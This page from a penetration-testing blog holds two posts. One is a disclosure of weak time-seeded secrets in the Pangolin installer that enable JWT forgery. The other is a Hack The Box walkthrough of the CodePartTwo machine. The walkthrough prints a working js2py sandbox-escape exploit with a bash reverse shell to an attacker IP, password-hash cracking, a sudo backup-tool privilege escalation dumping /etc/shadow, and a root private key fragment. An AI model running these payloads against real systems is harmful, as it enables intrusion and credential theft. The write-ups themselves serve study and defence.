{TRAPDOOR SECURITY} - penetration-testing

Pangolin v1.3.2-1.15.1: Weak Secrets leading to JWT forgery.

2026-04-25T00:00:00+00:00

What is Pangolin?

Pangolin is a ‘Zero Trust Access Platform’ that promises an “open-source, identity-based remote access platform built on Wireguard”. It’s a compelling pitch that puts them in a similar market category as other zero-trust networking management providers like Tailscale and Zscaler.

Obviously a project like this attracts everyone’s attention from a security perspective. So naturally, when I was reviewing their code and saw some worrying anti-patterns with regard to application security, I got in touch with the maintainers privately.

Overview of the vulnerability and exploitation

Self-hosted Pangolin server version 1.3.2 through to 1.15.1 is vulnerable to a critical cryptographic weakness that is exploitable post-authentication by low-privileged users.

The primary issue is the use of a weak, time-based pseudo-random number generator (PRNG) to create the server’s master secret key server.secret during installation using the supplied installer binary.

This fundamental flaw allows any authenticated user with knowledge of the server’s approximate installation time to brute-force and recover the master secret offline. Depending on the resolution of this time knowledge, the search space for key brute forcing can be narrowed into the region of minutes to days, as opposed to years.

Examples of impact are expanded on later, but in short they include the possibility of forging anything this secret is responsible for, including: JWTs, license keys, and other client secrets.

Let me be clear about what this is and is not

This is not an RCE and, strictly speaking, probably is not even classifiable as a privilege escalation. It is not unauthenticated either. Pangolin servers that are exposed to the internet aren’t necessarily vulnerable to this attack. I think malicious actors/insiders embedded for long periods of time in large organizations are the threat model to be concerned with for something like this, as opposed to small businesses where everyone is an admin anyway (they probably shouldn’t be, but that’s a different story).

Given limited time to explore the full extent of exploitation opportunities, I stopped at forging JWTs. While not immediately useful in and of itself, this represents an opportunity for an attacker to attack the IDP infrastructure, or perform other shenanigans.

While a compromised server.secret has severe security implications, readers should understand that a lot has to go ‘right’ for an attack to be successful here:

Pangolin Server creation time is necessary, and still only approximates the brute-force search space. Even a 5-minute guess can take commodity hardware a day to crack the secret. However, that is based on my [probably terrible] multi-CPU-core implementation in Rust. There are probably ways to do this with a GPU that would be orders of magnitude faster.
The server secret has an important but limited role on a Pangolin setup. I didn’t fully explore license key forgery because I was more concerned with where a JWT gets us. My research indicated that it would open possibilities to attack JWT processing and downstream infrastructure, (as opposed to phishing / session takeover). I can show that it is possible to overwrite any value in JWTs, and then sign them basically.
The default installation process, as documented on Pangolin’s website at the time, must have been used to set up the server. Users who did not use the install binary are likely unaffected. This does limit the impact to users who followed the documentation, although it could be argued this would be the majority of users.
This is not an unauthenticated attack. My testing indicated that only authenticated users to the dashboard (albeit low-privileged ones) were issued with a secret that could be cracked offline. As it stands, my belief is you would need a high level of privilege in an environment already. This is why my assessment of the threat model above is as it is: focused on large enterprise environments mostly concerned with insider threat and lateral movement potential.

It’s possible that the above led to the reasoning behind Pangolins level of response, perhaps the threat model from their point of view was not concerning enough to warrant coordinating disclosure.

Pangolin’s response

What went well

The Pangolin team should be commended for patching this reasonably quickly upon acknowledging receipt of the security report.

What didn’t go well

However, after this initial fix, they were non-responsive on requests, including those to disclose this to the customers via MITRE.

There was also no response to subsequent issues found in that changeset. For example, no response when I reached out to them and informed them that:

There is NO automatic migration that regenerates weak secrets from vulnerable installations. Users who installed versions 1.3.2 through 1.15.1 still have their weak, time-based secrets in their config files.

The above quote means that even if you do upgrade, you must still manually rotate this secret to address any concerns of compromise. I.e., their fix only works for brand-new users.

In terms of the example of their customer communications regarding this, as far as I could tell, this is the full release notice for 1.15.2 and no further announcements were made. Readers may note there is nothing obvious in here indicating that they should update to this version to address their server issues.

Full Changelog: 1.15.1…1.15.2

A MITRE/GHSA disclosure gotcha

One disclosure-process wrinkle worth flagging for other indie researchers: MITRE rejected my CVE assignment request on the grounds that Pangolin “uses GHSA”. Pangolin does have GitHub’s Security tab enabled, but they do not actually use it as a CNA. They use it only to direct researchers toward private email contact, and explicitly forbid public security issues. MITRE appears to interpret a populated security tab as evidence of GHSA/CNA delegation, which in this case meant the CVE request was bounced even though no CNA was actually responsible for assignment. An appeal has been lodged but as of writing has not been answered.

I have published my full communications timeline at the end of this article.

Where things went wrong

For the uninitiated, developers of secure applications should be hyper aware of using cryptographically secure randomness when generating secrets.

To be completely fair, the intent in the Pangolin code was to not be an exception to this.

However, there was a single edge case where this was not the case, and it was catastrophic for the security of the cryptography governing JWT and OIDC interactions.

Their website installation procedure encourages the admin to use this approach:

I won’t get into why this is considered a bad practice, there is plenty of discussion about that elsewhere.

This script, as its name suggests, downloads a prebuilt Go binary from GitHub. This is the Pangolin installer.

Predictably this binary then needs sudo privileges in order to complete its task.

Because this is an atypical delivery approach, this all felt very opaque to me so I decided to inspect the installer’s code on Github before using it.

Time based secrets considered harmful

One of the jobs that the installer is tasked with is generating the root server.secret. This secret is then used in the creation of other secrets. It’s a little bit like the seed of a minecraft server, only it’s alphanumeric. It should also be cryptographically random, i.e. safe from being easily guessed.

For reasons that aren’t entirely clear to me the setup process stores an initial secret in a config file. This initial secret is created using the following insecure code. Remember this, it will be important soon.

As you can see, this is done with an insecure seed (a Unix style nanosecond datetime stamp).

To make matters worse, that particular flavor of rand comes from the math library, and is not considered safe for cryptographic purposes. That’s because it is deterministic given the same seed and in our case the seed is hidden in a finite set of guessable numbers.

Now to where this bites us. Later, once the config file is finalized, the database migrations kick in and attempt to overwrite this secret. I suspect due to a previously reported issue, one of the database migrations is tasked with overwriting this initial secret with a much better one - can you spot the flaw here though?

Problem is that thanks to prior activity from the installer binary, it isn’t empty at all, so it never gets overwritten. A poorly designed conditional statement was all it took to bring this all undone.

This now means the application is running with a weak ‘root’ secret.

So this is why this vulnerability only exists when you use the installer (or you populated this file yourself and expected migrations to do something extra for you)

Under better circumstances you would expect a seed to be unguessable. This is why some places go to great lengths to generate high quality randomness.

If you are a go developer and this is news to you then go have a look at this. TL;DR you actually want crypto/rand instead, for reasons that will become painfully obvious soon.

Impact

If we can find some cipher text that gets built from this secret, then conceivably we can use the time that the installer ran, against it.

That is to say, “time installer ran” + “generated secret” = we can brute force the server secret.

The secret is critical in two areas of the codebase:

OIDC State Forgery (tested)

The secret is used to sign JSON Web Tokens (JWTs) that manage the OIDC login state. An attacker can forge these tokens to probe the upstream OIDC Identity Provider for weaknesses or potentially interfere with other users’ login flows. This was tested and confirmed against the latest compatible version of keycloak at the time, but only to the extent that it could be shown that JWT forgery was possible, because further testing would then essentially be against keycloak itself. It was possible to forge a fake JWT that was correctly signed that could redirect a user to an attacker controlled URL.

Sensitive Data Encryption and Decryption

The secret is used to sign or encrypt license keys, OIDC client secrets, session transfer tokens, and other sensitive configuration data. An attacker who obtains a database backup (e.g., through other means) can decrypt this data, or change it and encrypt it correctly.

Exploiting the weakness in practice

A cookie stores a JWT signed with the weak secret. By iterating candidate installer timestamps within a guessed window, deriving the resulting secret from each, and testing whether it validates the JWT signature, an attacker recovers the secret offline.

The p_oidc_state cookie is left behind by the login process for any user, not just administrators. From here, all I had to do was create a program that ‘borrowed’ the same code that the application itself uses to make sure I generated the secret using exactly the same alphabet and cryptographic algorithms.

With this secret in hand, an attacker can now forge JWT based OIDC token to then attack any integrated identity services that pangolin is connected to.

Obtaining this server creation time is not really what this blog post is about however a combination of inside knowledge or even some OSINT like certificate creation times could conceivably be used to reduce the brute force problem space dramatically.

I estimate that with a 5-minute time window on 32 CPU cores, my PC and proof of concept can crack it in roughly 24 hours via CPU brute force. A guess around 1 hour would take approximately 12 days on my hardware. A server with more CPUs, or a GPU-based PoC would reduce that dramatically.

Recommendations

In light of the above, it is the opinion of this author that users of the self-hosted pangolin service who used the default installer process from version 1.3.2 to 1.15.1 inclusive, should not only update to the latest version if possible, but also rotate their server secrets as soon as practicable. Pangolin has a key rotation command, however I do not know if this works, or what impact it would have in your environment, so please proceed with caution:

pangolin rotate-server-secret --old-secret "<current-weak-secret>" --new-secret "<new-strong-secret>"

Why assuming nobody knows when your server was created is not ‘enough protection’

This is a valid argument to an extent in very low risk threat models. If it’s just your DVD collection that you are protecting maybe this is OK. However if you are using a ZTN service like Pangolin to protect company/customer/otherwise important data, if you are a potential target for cybercriminal or state sponsored surveillance, these risks may not be acceptable.

Proof of Concept

First, remember that this is a post-auth issue - we need something from any logged in user that was incorrectly generated via this seed.

Exploiting this is a non-trivial exercise to do efficiently for a number of reasons, and is highly dependent on the attacker’s hardware. I chose to do this on a reasonably high spec’d developer workstation (32 Cores, 64GB DDR5 RAM). Using a systems programming language like C, C++ or Rust produces good enough results. Multithreading was required to get the processing times down.

Responsible Disclosure Timeline

For transparency here is the timeline of disclosure related events.

Date (2026)	Action
Jan 24	Initial outreach via Discord to find comms channel
	Pangolin confirms email as preferred channel
	Full security report sent to security@pangolin.net
Jan 27	Pangolin acknowledges report, commits to reviewing and updating installer
Jan 28	Acknowledgement of response, offered assistance in re-testing
Jan 30	Follow up, I ask about CVE assignment
Feb 2	Pangolin asked for more time for patching
Feb 6	1.15.2 released fixing secret generation, I acknowledge and mention CVE assignment again.
Feb 12	Follow up with no response.
Feb 12	I request a CVE ID from MITRE `status: requested, pending assignment`
Mar 6	Informed Pangolin of CVE reservation request and intent to write blog post/article. Offered to give them a preview with the mind to coordinate disclosure: no response
Mar 7	Informed pangolin team of key rotation issue/advice: no response
Mar 28	MITRE rejects CVE assignment, citing GHSA (see “A MITRE/GHSA disclosure gotcha” above)
Mar 29	Appeal lodged to MITRE, no response to date
Apr 25	Decision: full public disclosure on the grounds that the vendor ceased contact and MITRE rejected CVE assignment. Every effort was made to follow the de-facto standard responsible disclosure process.
Apr 25	Date of this report & notification to MITRE of publication

HTB Walkthrough: CodePartTwo

2025-11-22T00:00:00+00:00

HTB Walkthrough: CodePartTwo

Name	CodePartTwo
Location	https://app.hackthebox.com/machines/CodePartTwo
Difficulty	Easy
OS	Linux
Weaknesses found	CWE-94: Insecure Control of Code Generation
	CWE-95: Eval injection
	CWE-427: Uncontrolled Search Path Element
	CWE-1391: Weak Passwords
	CWE-759: Use of a one-way hash without a salt
Known Vulnerabilities found	CVE-2024-28397
Points	20
Rating at time of pwning	4.4
Date pwnd	22nd Nov 2025

Overview

Welcome back to another CTF write-up for practicing penetration testing and reporting skills!

CodePartTwo is an easy level Ubuntu Linux box hosted on the hackthebox platform, hosting a developer centric website. This CTF teaches the importance of keeping libraries up to date, avoiding allowing untrusted users to run code on your infrastructure, even when you’ve tried to sandbox them.

Executive summary

CodePartTwo is vulnerable to a sandbox escape CVE-2024-28397 leading to remote code execution on the server as the app user. This allows an attacker to access the application database which contains a raw MD5 hash for another user marco. This password is both crackable in under a minute on modern hardware, and is reused as the SSH password for marco. Further, despite marco being a low privilege user, they are allowed to run npbackup-cli as the superuser.

Unfortunately this CLI tool can be configured to read and write to the root filesystem allowing a low privileged user to acces the root SSH private key, which is passwordless, and gain full access to the box.

Testing Method

Recon

nmap scan

We start with nmap to perform a full port scan (-p-) using service detection (-sV), default scripts (-sC), disabled ping probes (-Pn) and outputting the scan results to a text file (-oN [filename]).

┌──(akses㉿kali)-[~/htb/codeparttwo]
└─$ nmap -vv -Pn -T4 -sV -sC -p- -oN "/home/kali/htb/codeparttwo/scans/_quick_tcp_nmap.txt"

This scan reveals two TCP services running on port 8000 (a HTTP service) and port 22 (SSH Access)

Port 22 (SSH 8.2p1)

The SSH server is configured with some old and insecure algorithms. This can be assessed by ssh-audit however this isn’t a particularly relevant finding initially. However this is still report worthy. This also suggests an Ubuntu environment.

┌──(akses㉿kali)-[~/htb/codeparttwo]
└─$ ssh-audit codeparttwo
# general
(gen) banner: SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.13
(gen) software: OpenSSH 8.2p1

<SNIP>

# algorithm recommendations (for OpenSSH 8.2)
(rec) -ecdh-sha2-nistp256                   -- kex algorithm to remove
(rec) -ecdh-sha2-nistp384                   -- kex algorithm to remove
(rec) -ecdh-sha2-nistp521                   -- kex algorithm to remove
(rec) -ecdsa-sha2-nistp256                  -- key algorithm to remove
(rec) -hmac-sha1                            -- mac algorithm to remove

<SNIP>

Port 8000 (HTTP - Gunicorn/20.0.4)

The web application running on port 8000 does look promising for exploitation, a registered user can simply run arbitrary javascript in the browser. The source code for the website is also freely available for download.

Source code analysis

By parsing the requirements.txt in the source supplied we find a flask 3.0.3 application and an app secret in the source code:

app.py

from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory
from flask_sqlalchemy import SQLAlchemy
import hashlib
import js2py
import os
import json

js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3PartTw0'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)

We can also observe that the code that runs when the ‘Run Code’ button is pressed, appears to use js2py v0.74 to handle the javascript evaluation via python, executing it server side, and finally bringing back the result as the HTTP response.

This input is largely unsanitized both in and out of the application, giving us rise to consider server side command execution vulnerabilities. XSS is a consideration, although that is complicated by the fact that the result is converted to JSON first.

Since the version of js2py is reported as 0.74 in requirements.txt it is possible that this code is vulnerable to CVE-2024-28397 - a sanbox escape. This weakness is well-known and best described by CWE-94: Insecure Control of Code Generation

The offending code defining the /run_code route in app.py

@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})

Foothold - app user

There is a publicly available exploit example on github that we can modify and use to gain a foothold on the webserver. We don’t need the PHP wrapper to execute this since we have the websites JS sandbox at our disposal. By modifying the first line we can cause the webserver to attempt to pipe a bash shells input and output to our machine at 10.10.14.19:4242. This script uses the fact that js2py versions up to 0.74 would inadvertantly allow the running code to read into the python subprocess library and execute the Popen command. It does this under the same privilege as the user running the website.

exploit.js

let command = "bash -c 'bash -i >& /dev/tcp/10.10.14.19/4242 0>&1'"
let hacked, byakses, n11
let getattr, obj

base = '__base__'
getattribute = '__getattribute__'
hacked = Object.getOwnPropertyNames({})
byakses = hacked[getattribute]
n11 = byakses("__getattribute__")
obj = n11("__class__")[base]
getattr = obj[getattribute]
sub_class = '__subclasses__';

function findpopen(o) {
    let result;
    for(let i in o[sub_class]()) {
        let item = o[sub_class]()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(command, -1, null, -1, -1, -1, null, null, true).communicate()

By setting up a listener and running this in the browser, we gain a foothold as username app.

┌──(akses㉿kali)-[~/htb/codeparttwo]
└─$ nc -lnvp 4242
listening on [any] 4242 ...
connect to [10.10.14.19] from (UNKNOWN) [10.129.232.59] 40176
bash: cannot set terminal process group (922): Inappropriate ioctl for device
bash: no job control in this shell
app@codeparttwo:~/app$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)

app@codeparttwo:~/app$

Post-Exploitation

A quick cat /etc/passwd shows us that there is root, app and marco as shelled users on the box. We don’t have access to marco’s files so we either need to escalate our privileges to root or marco in order to solve this box.

The /home/app/app/instance directory houses the users.db file that we can exfiltrate and inspect offline. It is a SQLite 3.x database. Kali comes with sqlitebrowser, that gives us a GUI way to browse its contents, and its in the users table where we can find the password hash for the user marco.

These are raw MD5 hashes and the marco hash is vulnerable to a dictionary attack using john

┌──(akses㉿kali)-[~/htb/codeparttwo]
└─$ john ./hashes.txt --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 512/512 AVX512BW 16x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status

sweetangelbabylove (marco)

By using the username marco and password sweetangelbabylove we’re able to login via SSH as marco and get the first flag for the foothold!

Privilege Escalation

Inspecting the sudoers with sudo -l shows that marco can run a backup utility called npbackup-cli with sudo, making this a possible privesc vulnerability if we can force this tool to do our bidding.

marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

LoLbin: npbackup-cli

As luck would have it, there is a misconfiguration based privilege escalation proof of concept on github. By uploading and modifying this file we can read the root flag or the shadow file.

marco@codeparttwo:/tmp$ sudo npbackup-cli -c ./backup.cfg --backup
2025-11-21 16:47:32,929 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent
<SNIP>

processed 1 files, 1.339 KiB in 0:00
snapshot 763308b2 saved
<SNIP>

And following up with this command to dump the backup we saved as root.

marco@codeparttwo:/tmp$ sudo /usr/local/bin/npbackup-cli -c npbackup.conf --dump /etc/shadow --snapshot-id 763308b2
{"result": false, "reason": "Config file npbackup.conf cannot be read or does not exist"}
marco@codeparttwo:/tmp$ sudo /usr/local/bin/npbackup-cli -c ./backup.cfg --dump /etc/shadow --snapshot-id 763308b2
root:$6$UM1RuabUYlt5BQ5q$ZtzAfYOaCaFxA8MGbyH1hegFpzQmJrpIkx7vEIKvXoVl830AXAx1Hgh8r11GlpXgY25LK8wF76nvQYQ1wLSn71:20104:0:99999:7:::
<SNIP>
marco:$6$i5xRI7UVqeBITIby$NQKHXVvAWz7Vl3QkEwgxw0ItF9Lwen4gGCBi.YYiDQTdkgcPABaqfmBzheAM/9JA/9J7szqDzPaIDbkNqc.0V.:20022:0:99999:7:::
app:$6$5iH3Zik78QR8t9Se$bgRAig/YjbMzwOTFME629sLrrTn2avVD9pLFwz0X2zBTz0LYfNIEuw6w5s53NNu2K7IeEJK4D6j9PB6SR.UvC0:20022:0:99999:7:::

Root Access

The above root hash wasn’t easily crackable with john and rockyou.txt so I just used the above approach to guess the flag location and read out /root/root.txt to yield the flag: 09cd485933fb29e34fefb7f5a9ea00d8 – which is a shortcut.

However, it should be noted that the following private key is stored in /root/.ssh/id_rsa which can be used to login as the root account.

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
<SNIP>
MBhgprGCU3dhhJMQAAAAxyb290QGNvZGV0d28BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

This key is passwordless, and allows immediate SSH access to the flag.

┌──(akses㉿kali)-[~/htb/codeparttwo]
└─$ ssh root@codeparttwo -i ./root.key
<SNIP>

root@codeparttwo:~# cat root.txt
09cd485933fb29e34fefb7f5a9ea00d8

Suggested remediations

Maintain regular patching of code libraries and dependencies in the web application
Reconsider allowing code execution directly against the webserver host via the website, apply segregation of responsibility to the application architecure, e.g. use of epehermeral execution environments that cannot access the webserver host.
Ensure passwords are strong and not reused between applications and services. Always use password protected certificates for all privileged access (e.g. via SSH, databases, etc)
Avoid manual backup procedures that rely on low privileged users having elevated privilege. Consider a seperate backup server with RBAC to prevent unauthorized access to the webservers root filesystem.

My review: 4 stars

I enjoyed this box as it was simple and somewhat realistic - developer tooling has historically been a problematic area because of the need to run as administrator on workstations, and CI/CD tooling needing to allow remote arbitrary code excetion as a feature. Normally this would be considered a security flaw - not a feature! So the owners of these tools need to be extremely careful about sandboxing the environment that allows untrusted input. I didn’t give it 5 stars because I think that the scenario is a little contrived and it would be (IMO) more interesting to explore a box that attempted to give this feature to others with some more thought given to the architecture. Given ‘code’ part one used docker containers (if I recall correctly), this approach seems like a regression rather than an improved architecture.